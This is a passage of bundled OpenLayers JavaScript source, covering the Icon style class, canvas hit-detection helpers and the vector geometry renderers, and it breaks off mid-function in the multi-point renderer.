value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/style/Icon\n */\nimport EventType from '../events/EventType.js';\nimport IconAnchorUnits from './IconAnchorUnits.js';\nimport IconOrigin from './IconOrigin.js';\nimport ImageState from '../ImageState.js';\nimport ImageStyle from './Image.js';\nimport { asArray } from '../color.js';\nimport { assert } from '../asserts.js';\nimport { get as getIconImage } from './IconImage.js';\nimport { getUid } from '../util.js';\n/**\n * @typedef {Object} Options\n * @property {Array<number>} [anchor=[0.5, 0.5]] Anchor. Default value is the icon center.\n * @property {import(\"./IconOrigin.js\").default} [anchorOrigin='top-left'] Origin of the anchor: `bottom-left`, `bottom-right`,\n * `top-left` or `top-right`.\n * @property {import(\"./IconAnchorUnits.js\").default} [anchorXUnits='fraction'] Units in which the anchor x value is\n * specified. A value of `'fraction'` indicates the x value is a fraction of the icon. A value of `'pixels'` indicates\n * the x value in pixels.\n * @property {import(\"./IconAnchorUnits.js\").default} [anchorYUnits='fraction'] Units in which the anchor y value is\n * specified. A value of `'fraction'` indicates the y value is a fraction of the icon. A value of `'pixels'` indicates\n * the y value in pixels.\n * @property {import(\"../color.js\").Color|string} [color] Color to tint the icon. If not specified,\n * the icon will be left as is.\n * @property {null|string} [crossOrigin] The `crossOrigin` attribute for loaded images. Note that you must provide a\n * `crossOrigin` value if you want to access pixel data with the Canvas renderer.\n * See https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image for more detail.\n * @property {HTMLImageElement|HTMLCanvasElement} [img] Image object for the icon. If the `src` option is not provided then the\n * provided image must already be loaded. And in that case, it is required\n * to provide the size of the image, with the `imgSize` option.\n * @property {Array<number>} [offset=[0, 0]] Offset, which, together with the size and the offset origin, define the\n * sub-rectangle to use from the original icon image.\n * @property {Array<number>} [displacement=[0,0]] Displacement of the icon.\n * @property {import(\"./IconOrigin.js\").default} [offsetOrigin='top-left'] Origin of the offset: `bottom-left`, `bottom-right`,\n * `top-left` or `top-right`.\n * @property {number} [opacity=1] Opacity of the icon.\n * @property {number|import(\"../size.js\").Size} [scale=1] Scale.\n * @property {boolean} [rotateWithView=false] Whether to rotate the icon with the view.\n * @property {number} [rotation=0] Rotation in radians (positive rotation clockwise).\n * @property {import(\"../size.js\").Size} [size] Icon size in pixel. Can be used together with `offset` to define the\n * sub-rectangle to use from the origin (sprite) icon image.\n * @property {import(\"../size.js\").Size} [imgSize] Image size in pixels. Only required if `img` is set and `src` is not, and\n * for SVG images in Internet Explorer 11. The provided `imgSize` needs to match the actual size of the image.\n * @property {string} [src] Image source URI.\n * @property {\"declutter\"|\"obstacle\"|\"none\"|undefined} [declutterMode] Declutter mode\n */\n/**\n * @classdesc\n * Set icon style for vector features.\n * @api\n */\nvar Icon = /** @class */ (function (_super) {\n __extends(Icon, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function Icon(opt_options) {\n var _this = this;\n var options = opt_options || {};\n /**\n * @type {number}\n */\n var opacity = options.opacity !== undefined ? options.opacity : 1;\n /**\n * @type {number}\n */\n var rotation = options.rotation !== undefined ? options.rotation : 0;\n /**\n * @type {number|import(\"../size.js\").Size}\n */\n var scale = options.scale !== undefined ? options.scale : 1;\n /**\n * @type {boolean}\n */\n var rotateWithView = options.rotateWithView !== undefined ? options.rotateWithView : false;\n _this = _super.call(this, {\n opacity: opacity,\n rotation: rotation,\n scale: scale,\n displacement: options.displacement !== undefined ? options.displacement : [0, 0],\n rotateWithView: rotateWithView,\n declutterMode: options.declutterMode,\n }) || this;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.anchor_ = options.anchor !== undefined ? options.anchor : [0.5, 0.5];\n /**\n * @private\n * @type {Array<number>}\n */\n _this.normalizedAnchor_ = null;\n /**\n * @private\n * @type {import(\"./IconOrigin.js\").default}\n */\n _this.anchorOrigin_ =\n options.anchorOrigin !== undefined\n ? options.anchorOrigin\n : IconOrigin.TOP_LEFT;\n /**\n * @private\n * @type {import(\"./IconAnchorUnits.js\").default}\n */\n _this.anchorXUnits_ =\n options.anchorXUnits !== undefined\n ? options.anchorXUnits\n : IconAnchorUnits.FRACTION;\n /**\n * @private\n * @type {import(\"./IconAnchorUnits.js\").default}\n */\n _this.anchorYUnits_ =\n options.anchorYUnits !== undefined\n ? options.anchorYUnits\n : IconAnchorUnits.FRACTION;\n /**\n * @private\n * @type {?string}\n */\n _this.crossOrigin_ =\n options.crossOrigin !== undefined ? options.crossOrigin : null;\n /**\n * @type {HTMLImageElement|HTMLCanvasElement}\n */\n var image = options.img !== undefined ? options.img : null;\n /**\n * @private\n * @type {import(\"../size.js\").Size|undefined}\n */\n _this.imgSize_ = options.imgSize;\n /**\n * @type {string|undefined}\n */\n var src = options.src;\n assert(!(src !== undefined && image), 4); // `image` and `src` cannot be provided at the same time\n assert(!image || (image && _this.imgSize_), 5); // `imgSize` must be set when `image` is provided\n if ((src === undefined || src.length === 0) && image) {\n src = /** @type {HTMLImageElement} */ (image).src || getUid(image);\n }\n assert(src !== undefined && src.length > 0, 6); // A defined and non-empty `src` or `image` must be provided\n /**\n * @type {import(\"../ImageState.js\").default}\n */\n var imageState = options.src !== undefined ? ImageState.IDLE : ImageState.LOADED;\n /**\n * @private\n * @type {import(\"../color.js\").Color}\n */\n _this.color_ = options.color !== undefined ? asArray(options.color) : null;\n /**\n * @private\n * @type {import(\"./IconImage.js\").default}\n */\n _this.iconImage_ = getIconImage(image, \n /** @type {string} */ (src), _this.imgSize_ !== undefined ? _this.imgSize_ : null, _this.crossOrigin_, imageState, _this.color_);\n /**\n * @private\n * @type {Array<number>}\n */\n _this.offset_ = options.offset !== undefined ? options.offset : [0, 0];\n /**\n * @private\n * @type {import(\"./IconOrigin.js\").default}\n */\n _this.offsetOrigin_ =\n options.offsetOrigin !== undefined\n ? options.offsetOrigin\n : IconOrigin.TOP_LEFT;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.origin_ = null;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n _this.size_ = options.size !== undefined ? options.size : null;\n return _this;\n }\n /**\n * Clones the style. The underlying Image/HTMLCanvasElement is not cloned.\n * @return {Icon} The cloned style.\n * @api\n */\n Icon.prototype.clone = function () {\n var scale = this.getScale();\n return new Icon({\n anchor: this.anchor_.slice(),\n anchorOrigin: this.anchorOrigin_,\n anchorXUnits: this.anchorXUnits_,\n anchorYUnits: this.anchorYUnits_,\n color: this.color_ && this.color_.slice\n ? this.color_.slice()\n : this.color_ || undefined,\n crossOrigin: this.crossOrigin_,\n imgSize: this.imgSize_,\n offset: this.offset_.slice(),\n offsetOrigin: this.offsetOrigin_,\n opacity: this.getOpacity(),\n rotateWithView: this.getRotateWithView(),\n rotation: this.getRotation(),\n scale: Array.isArray(scale) ? scale.slice() : scale,\n size: this.size_ !== null ? this.size_.slice() : undefined,\n src: this.getSrc(),\n displacement: this.getDisplacement().slice(),\n declutterMode: this.getDeclutterMode(),\n });\n };\n /**\n * Get the anchor point in pixels. The anchor determines the center point for the\n * symbolizer.\n * @return {Array<number>} Anchor.\n * @api\n */\n Icon.prototype.getAnchor = function () {\n var anchor = this.normalizedAnchor_;\n if (!anchor) {\n anchor = this.anchor_;\n var size = this.getSize();\n if (this.anchorXUnits_ == IconAnchorUnits.FRACTION ||\n this.anchorYUnits_ == IconAnchorUnits.FRACTION) {\n if (!size) {\n return null;\n }\n anchor = this.anchor_.slice();\n if (this.anchorXUnits_ == IconAnchorUnits.FRACTION) {\n anchor[0] *= size[0];\n }\n if (this.anchorYUnits_ == IconAnchorUnits.FRACTION) {\n anchor[1] *= size[1];\n }\n }\n if (this.anchorOrigin_ != IconOrigin.TOP_LEFT) {\n if (!size) {\n return null;\n }\n if (anchor === this.anchor_) {\n anchor = this.anchor_.slice();\n }\n if (this.anchorOrigin_ == IconOrigin.TOP_RIGHT ||\n this.anchorOrigin_ == IconOrigin.BOTTOM_RIGHT) {\n anchor[0] = -anchor[0] + size[0];\n }\n if (this.anchorOrigin_ == IconOrigin.BOTTOM_LEFT ||\n this.anchorOrigin_ == IconOrigin.BOTTOM_RIGHT) {\n anchor[1] = -anchor[1] + size[1];\n }\n }\n this.normalizedAnchor_ = anchor;\n }\n var displacement = this.getDisplacement();\n return [anchor[0] - displacement[0], anchor[1] + displacement[1]];\n };\n /**\n * Set the anchor point. The anchor determines the center point for the\n * symbolizer.\n *\n * @param {Array<number>} anchor Anchor.\n * @api\n */\n Icon.prototype.setAnchor = function (anchor) {\n this.anchor_ = anchor;\n this.normalizedAnchor_ = null;\n };\n /**\n * Get the icon color.\n * @return {import(\"../color.js\").Color} Color.\n * @api\n */\n Icon.prototype.getColor = function () {\n return this.color_;\n };\n /**\n * Get the image icon.\n * @param {number} pixelRatio Pixel ratio.\n * @return {HTMLImageElement|HTMLCanvasElement} Image or Canvas element.\n * @api\n */\n Icon.prototype.getImage = function (pixelRatio) {\n return this.iconImage_.getImage(pixelRatio);\n };\n /**\n * Get the pixel ratio.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} The pixel ratio of the image.\n * @api\n */\n Icon.prototype.getPixelRatio = function (pixelRatio) {\n return this.iconImage_.getPixelRatio(pixelRatio);\n };\n /**\n * @return {import(\"../size.js\").Size} Image size.\n */\n Icon.prototype.getImageSize = function () {\n return this.iconImage_.getSize();\n };\n /**\n * @return {import(\"../ImageState.js\").default} Image state.\n */\n Icon.prototype.getImageState = function () {\n return this.iconImage_.getImageState();\n };\n /**\n * @return {HTMLImageElement|HTMLCanvasElement} Image element.\n */\n Icon.prototype.getHitDetectionImage = function () {\n return this.iconImage_.getHitDetectionImage();\n };\n /**\n * Get the origin of the symbolizer.\n * @return {Array<number>} Origin.\n * @api\n */\n Icon.prototype.getOrigin = function () {\n if (this.origin_) {\n return this.origin_;\n }\n var offset = this.offset_;\n if (this.offsetOrigin_ != IconOrigin.TOP_LEFT) {\n var size = this.getSize();\n var iconImageSize = this.iconImage_.getSize();\n if (!size || !iconImageSize) {\n return null;\n }\n offset = offset.slice();\n if (this.offsetOrigin_ == IconOrigin.TOP_RIGHT ||\n this.offsetOrigin_ == IconOrigin.BOTTOM_RIGHT) {\n offset[0] = iconImageSize[0] - size[0] - offset[0];\n }\n if (this.offsetOrigin_ == IconOrigin.BOTTOM_LEFT ||\n this.offsetOrigin_ == IconOrigin.BOTTOM_RIGHT) {\n offset[1] = iconImageSize[1] - size[1] - offset[1];\n }\n }\n this.origin_ = offset;\n return this.origin_;\n };\n /**\n * Get the image URL.\n * @return {string|undefined} Image src.\n * @api\n */\n Icon.prototype.getSrc = function () {\n return this.iconImage_.getSrc();\n };\n /**\n * Get the size of the icon (in pixels).\n * @return {import(\"../size.js\").Size} Image size.\n * @api\n */\n Icon.prototype.getSize = function () {\n return !this.size_ ? this.iconImage_.getSize() : this.size_;\n };\n /**\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n Icon.prototype.listenImageChange = function (listener) {\n this.iconImage_.addEventListener(EventType.CHANGE, listener);\n };\n /**\n * Load not yet loaded URI.\n * When rendering a feature with an icon style, the vector renderer will\n * automatically call this method. However, you might want to call this\n * method yourself for preloading or other purposes.\n * @api\n */\n Icon.prototype.load = function () {\n this.iconImage_.load();\n };\n /**\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n Icon.prototype.unlistenImageChange = function (listener) {\n this.iconImage_.removeEventListener(EventType.CHANGE, listener);\n };\n return Icon;\n}(ImageStyle));\nexport default Icon;\n//# sourceMappingURL=Icon.js.map","/**\n * @module ol/render/canvas/hitdetect\n */\nimport CanvasImmediateRenderer from './Immediate.js';\nimport IconAnchorUnits from '../../style/IconAnchorUnits.js';\nimport { Icon } from '../../style.js';\nimport { clamp } from '../../math.js';\nimport { createCanvasContext2D } from '../../dom.js';\nimport { intersects } from '../../extent.js';\nimport { numberSafeCompareFunction } from '../../array.js';\nexport var HIT_DETECT_RESOLUTION = 0.5;\n/**\n * @param {import(\"../../size.js\").Size} size Canvas size in css pixels.\n * @param {Array<import(\"../../transform.js\").Transform>} transforms Transforms\n * for rendering features to all worlds of the viewport, from coordinates to css\n * pixels.\n * @param {Array<import(\"../../Feature.js\").FeatureLike>} features\n * Features to consider for hit detection.\n * @param {import(\"../../style/Style.js\").StyleFunction|undefined} styleFunction\n * Layer style function.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @return {ImageData} Hit detection image data.\n */\nexport function createHitDetectionImageData(size, transforms, features, styleFunction, extent, resolution, rotation) {\n var width = size[0] * HIT_DETECT_RESOLUTION;\n var height = size[1] * HIT_DETECT_RESOLUTION;\n var context = createCanvasContext2D(width, height);\n context.imageSmoothingEnabled = false;\n var canvas = context.canvas;\n var renderer = new CanvasImmediateRenderer(context, HIT_DETECT_RESOLUTION, extent, null, rotation);\n var featureCount = features.length;\n // Stretch hit detection index to use the whole available color range\n var indexFactor = Math.floor((256 * 256 * 256 - 1) / featureCount);\n var featuresByZIndex = {};\n for (var i = 1; i <= featureCount; ++i) {\n var feature = features[i - 1];\n var featureStyleFunction = feature.getStyleFunction() || styleFunction;\n if (!styleFunction) {\n continue;\n }\n var styles = featureStyleFunction(feature, resolution);\n if (!styles) {\n continue;\n }\n if (!Array.isArray(styles)) {\n styles = [styles];\n }\n var index = i * indexFactor;\n var color = '#' + ('000000' + index.toString(16)).slice(-6);\n for (var j = 0, jj = styles.length; j < jj; ++j) {\n var originalStyle = styles[j];\n var geometry = originalStyle.getGeometryFunction()(feature);\n if (!geometry || !intersects(extent, geometry.getExtent())) {\n continue;\n }\n var style = originalStyle.clone();\n var fill = style.getFill();\n if (fill) {\n fill.setColor(color);\n }\n var stroke = style.getStroke();\n if (stroke) {\n stroke.setColor(color);\n stroke.setLineDash(null);\n }\n style.setText(undefined);\n var image = originalStyle.getImage();\n if (image && image.getOpacity() !== 0) {\n var imgSize = image.getImageSize();\n if (!imgSize) {\n continue;\n }\n var imgContext = createCanvasContext2D(imgSize[0], imgSize[1], undefined, { alpha: false });\n var img = imgContext.canvas;\n imgContext.fillStyle = color;\n imgContext.fillRect(0, 0, img.width, img.height);\n style.setImage(new Icon({\n img: img,\n imgSize: imgSize,\n anchor: image.getAnchor(),\n anchorXUnits: IconAnchorUnits.PIXELS,\n anchorYUnits: IconAnchorUnits.PIXELS,\n offset: image.getOrigin(),\n opacity: 1,\n size: image.getSize(),\n scale: image.getScale(),\n rotation: image.getRotation(),\n rotateWithView: image.getRotateWithView(),\n }));\n }\n var zIndex = style.getZIndex() || 0;\n var byGeometryType = featuresByZIndex[zIndex];\n if (!byGeometryType) {\n byGeometryType = {};\n featuresByZIndex[zIndex] = byGeometryType;\n byGeometryType['Polygon'] = [];\n byGeometryType['Circle'] = [];\n byGeometryType['LineString'] = [];\n byGeometryType['Point'] = [];\n }\n byGeometryType[geometry.getType().replace('Multi', '')].push(geometry, style);\n }\n }\n var zIndexKeys = Object.keys(featuresByZIndex)\n .map(Number)\n .sort(numberSafeCompareFunction);\n for (var i = 0, ii = zIndexKeys.length; i < ii; ++i) {\n var byGeometryType = featuresByZIndex[zIndexKeys[i]];\n for (var type in byGeometryType) {\n var geomAndStyle = byGeometryType[type];\n for (var j = 0, jj = geomAndStyle.length; j < jj; j += 2) {\n renderer.setStyle(geomAndStyle[j + 1]);\n for (var k = 0, kk = transforms.length; k < kk; ++k) {\n renderer.setTransform(transforms[k]);\n renderer.drawGeometry(geomAndStyle[j]);\n }\n }\n }\n }\n return context.getImageData(0, 0, canvas.width, canvas.height);\n}\n/**\n * @param {import(\"../../pixel\").Pixel} pixel Pixel coordinate on the hit\n * detection canvas in css pixels.\n * @param {Array<import(\"../../Feature\").FeatureLike>} features Features. Has to\n * match the `features` array that was passed to `createHitDetectionImageData()`.\n * @param {ImageData} imageData Hit detection image data generated by\n * `createHitDetectionImageData()`.\n * @return {Array<import(\"../../Feature\").FeatureLike>} features Features.\n */\nexport function hitDetect(pixel, features, imageData) {\n var resultFeatures = [];\n if (imageData) {\n var x = Math.floor(Math.round(pixel[0]) * HIT_DETECT_RESOLUTION);\n var y = Math.floor(Math.round(pixel[1]) * HIT_DETECT_RESOLUTION);\n // The pixel coordinate is clamped down to the hit-detect canvas' size to account\n // for browsers returning coordinates slightly larger than the actual canvas size\n // due to a non-integer pixel ratio.\n var index = (clamp(x, 0, imageData.width - 1) +\n clamp(y, 0, imageData.height - 1) * imageData.width) *\n 4;\n var r = imageData.data[index];\n var g = imageData.data[index + 1];\n var b = imageData.data[index + 2];\n var i = b + 256 * (g + 256 * r);\n var indexFactor = Math.floor((256 * 256 * 256 - 1) / features.length);\n if (i && i % indexFactor === 0) {\n resultFeatures.push(features[i / indexFactor - 1]);\n }\n }\n return resultFeatures;\n}\n//# sourceMappingURL=hitdetect.js.map","/**\n * @module ol/renderer/vector\n */\nimport ImageState from '../ImageState.js';\nimport { getUid } from '../util.js';\n/**\n * Feature callback. The callback will be called with three arguments. The first\n * argument is one {@link module:ol/Feature~Feature feature} or {@link module:ol/render/Feature~RenderFeature render feature}\n * at the pixel, the second is the {@link module:ol/layer/Layer~Layer layer} of the feature and will be null for\n * unmanaged layers. The third is the {@link module:ol/geom/SimpleGeometry~SimpleGeometry} of the feature. For features\n * with a GeometryCollection geometry, it will be the first detected geometry from the collection.\n * @template T\n * @typedef {function(import(\"../Feature.js\").FeatureLike, import(\"../layer/Layer.js\").default<import(\"../source/Source\").default>, import(\"../geom/SimpleGeometry.js\").default): T} FeatureCallback\n */\n/**\n * Tolerance for geometry simplification in device pixels.\n * @type {number}\n */\nvar SIMPLIFY_TOLERANCE = 0.5;\n/**\n * @const\n * @type {Object<import(\"../geom/Geometry.js\").Type,\n * function(import(\"../render/canvas/BuilderGroup.js\").default, import(\"../geom/Geometry.js\").default,\n * import(\"../style/Style.js\").default, Object): void>}\n */\nvar GEOMETRY_RENDERERS = {\n 'Point': renderPointGeometry,\n 'LineString': renderLineStringGeometry,\n 'Polygon': renderPolygonGeometry,\n 'MultiPoint': renderMultiPointGeometry,\n 'MultiLineString': renderMultiLineStringGeometry,\n 'MultiPolygon': renderMultiPolygonGeometry,\n 'GeometryCollection': renderGeometryCollectionGeometry,\n 'Circle': renderCircleGeometry,\n};\n/**\n * @param {import(\"../Feature.js\").FeatureLike} feature1 Feature 1.\n * @param {import(\"../Feature.js\").FeatureLike} feature2 Feature 2.\n * @return {number} Order.\n */\nexport function defaultOrder(feature1, feature2) {\n return parseInt(getUid(feature1), 10) - parseInt(getUid(feature2), 10);\n}\n/**\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Squared pixel tolerance.\n */\nexport function getSquaredTolerance(resolution, pixelRatio) {\n var tolerance = getTolerance(resolution, pixelRatio);\n return tolerance * tolerance;\n}\n/**\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Pixel tolerance.\n */\nexport function getTolerance(resolution, pixelRatio) {\n return (SIMPLIFY_TOLERANCE * resolution) / pixelRatio;\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Builder group.\n * @param {import(\"../geom/Circle.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").default} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderCircleGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var fillStyle = style.getFill();\n var strokeStyle = style.getStroke();\n if (fillStyle || strokeStyle) {\n var circleReplay = builderGroup.getBuilder(style.getZIndex(), 'Circle');\n circleReplay.setFillStrokeStyle(fillStyle, strokeStyle);\n circleReplay.drawCircle(geometry, feature);\n }\n var textStyle = style.getText();\n if (textStyle && textStyle.getText()) {\n var textReplay = (opt_declutterBuilderGroup || builderGroup).getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} replayGroup Replay group.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n * @param {import(\"../proj.js\").TransformFunction} [opt_transform] Transform from user to view projection.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n * @return {boolean} `true` if style is loading.\n */\nexport function renderFeature(replayGroup, feature, style, squaredTolerance, listener, opt_transform, opt_declutterBuilderGroup) {\n var loading = false;\n var imageStyle = style.getImage();\n if (imageStyle) {\n var imageState = imageStyle.getImageState();\n if (imageState == ImageState.LOADED || imageState == ImageState.ERROR) {\n imageStyle.unlistenImageChange(listener);\n }\n else {\n if (imageState == ImageState.IDLE) {\n imageStyle.load();\n }\n imageStyle.listenImageChange(listener);\n loading = true;\n }\n }\n renderFeatureInternal(replayGroup, feature, style, squaredTolerance, opt_transform, opt_declutterBuilderGroup);\n return loading;\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} replayGroup Replay group.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {import(\"../proj.js\").TransformFunction} [opt_transform] Optional transform function.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderFeatureInternal(replayGroup, feature, style, squaredTolerance, opt_transform, opt_declutterBuilderGroup) {\n var geometry = style.getGeometryFunction()(feature);\n if (!geometry) {\n return;\n }\n var simplifiedGeometry = geometry.simplifyTransformed(squaredTolerance, opt_transform);\n var renderer = style.getRenderer();\n if (renderer) {\n renderGeometry(replayGroup, simplifiedGeometry, style, feature);\n }\n else {\n var geometryRenderer = GEOMETRY_RENDERERS[simplifiedGeometry.getType()];\n geometryRenderer(replayGroup, simplifiedGeometry, style, feature, opt_declutterBuilderGroup);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} replayGroup Replay group.\n * @param {import(\"../geom/Geometry.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\nfunction renderGeometry(replayGroup, geometry, style, feature) {\n if (geometry.getType() == 'GeometryCollection') {\n var geometries = \n /** @type {import(\"../geom/GeometryCollection.js\").default} */ (geometry).getGeometries();\n for (var i = 0, ii = geometries.length; i < ii; ++i) {\n renderGeometry(replayGroup, geometries[i], style, feature);\n }\n return;\n }\n var replay = replayGroup.getBuilder(style.getZIndex(), 'Default');\n replay.drawCustom(\n /** @type {import(\"../geom/SimpleGeometry.js\").default} */ (geometry), feature, style.getRenderer(), style.getHitDetectionRenderer());\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} replayGroup Replay group.\n * @param {import(\"../geom/GeometryCollection.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").default} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderGeometryCollectionGeometry(replayGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var geometries = geometry.getGeometriesArray();\n var i, ii;\n for (i = 0, ii = geometries.length; i < ii; ++i) {\n var geometryRenderer = GEOMETRY_RENDERERS[geometries[i].getType()];\n geometryRenderer(replayGroup, geometries[i], style, feature, opt_declutterBuilderGroup);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/LineString.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderLineStringGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var strokeStyle = style.getStroke();\n if (strokeStyle) {\n var lineStringReplay = builderGroup.getBuilder(style.getZIndex(), 'LineString');\n lineStringReplay.setFillStrokeStyle(null, strokeStyle);\n lineStringReplay.drawLineString(geometry, feature);\n }\n var textStyle = style.getText();\n if (textStyle && textStyle.getText()) {\n var textReplay = (opt_declutterBuilderGroup || builderGroup).getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/MultiLineString.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderMultiLineStringGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var strokeStyle = style.getStroke();\n if (strokeStyle) {\n var lineStringReplay = builderGroup.getBuilder(style.getZIndex(), 'LineString');\n lineStringReplay.setFillStrokeStyle(null, strokeStyle);\n lineStringReplay.drawMultiLineString(geometry, feature);\n }\n var textStyle = style.getText();\n if (textStyle && textStyle.getText()) {\n var textReplay = (opt_declutterBuilderGroup || builderGroup).getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/MultiPolygon.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").default} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderMultiPolygonGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var fillStyle = style.getFill();\n var strokeStyle = style.getStroke();\n if (strokeStyle || fillStyle) {\n var polygonReplay = builderGroup.getBuilder(style.getZIndex(), 'Polygon');\n polygonReplay.setFillStrokeStyle(fillStyle, strokeStyle);\n polygonReplay.drawMultiPolygon(geometry, feature);\n }\n var textStyle = style.getText();\n if (textStyle && textStyle.getText()) {\n var textReplay = (opt_declutterBuilderGroup || builderGroup).getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/Point.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderPointGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var imageStyle = style.getImage();\n var textStyle = style.getText();\n /** @type {import(\"../render/canvas.js\").DeclutterImageWithText} */\n var declutterImageWithText;\n if (imageStyle) {\n if (imageStyle.getImageState() != ImageState.LOADED) {\n return;\n }\n var imageBuilderGroup = builderGroup;\n if (opt_declutterBuilderGroup) {\n var declutterMode = imageStyle.getDeclutterMode();\n if (declutterMode !== 'none') {\n imageBuilderGroup = opt_declutterBuilderGroup;\n if (declutterMode === 'obstacle') {\n // draw in non-declutter group:\n var imageReplay_1 = builderGroup.getBuilder(style.getZIndex(), 'Image');\n imageReplay_1.setImageStyle(imageStyle, declutterImageWithText);\n imageReplay_1.drawPoint(geometry, feature);\n }\n else if (textStyle && textStyle.getText()) {\n declutterImageWithText = {};\n }\n }\n }\n var imageReplay = imageBuilderGroup.getBuilder(style.getZIndex(), 'Image');\n imageReplay.setImageStyle(imageStyle, declutterImageWithText);\n imageReplay.drawPoint(geometry, feature);\n }\n if (textStyle && textStyle.getText()) {\n var textBuilderGroup = builderGroup;\n if (opt_declutterBuilderGroup) {\n textBuilderGroup = opt_declutterBuilderGroup;\n }\n var textReplay = textBuilderGroup.getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle, declutterImageWithText);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/MultiPoint.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderMultiPointGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var imageStyle = style.getImage();\n var textStyle = style.getText();\n /** @type {import(\"../render/canvas.js\").DeclutterImageWithText} */\n var declutterImageWithText;\n if (imageStyle) {\n if (imageStyle.getImageState() != ImageState.LOADED) {\n return;\n }\n var imageBuilderGroup = builderGroup;\n if (opt_declutterBuilderGroup) {\n var declutterMode = imageStyle.getDeclutterMode();\n if (declutterMode !== 'none') {\n imageBuilderGroup = opt_declutterBuilderGroup;\n if (declutterMode === 'obstacle') {\n // draw in non-declutter group:\n var imageReplay_2 = builderGroup.getBuilder(style.getZIndex(), 'Image');\n 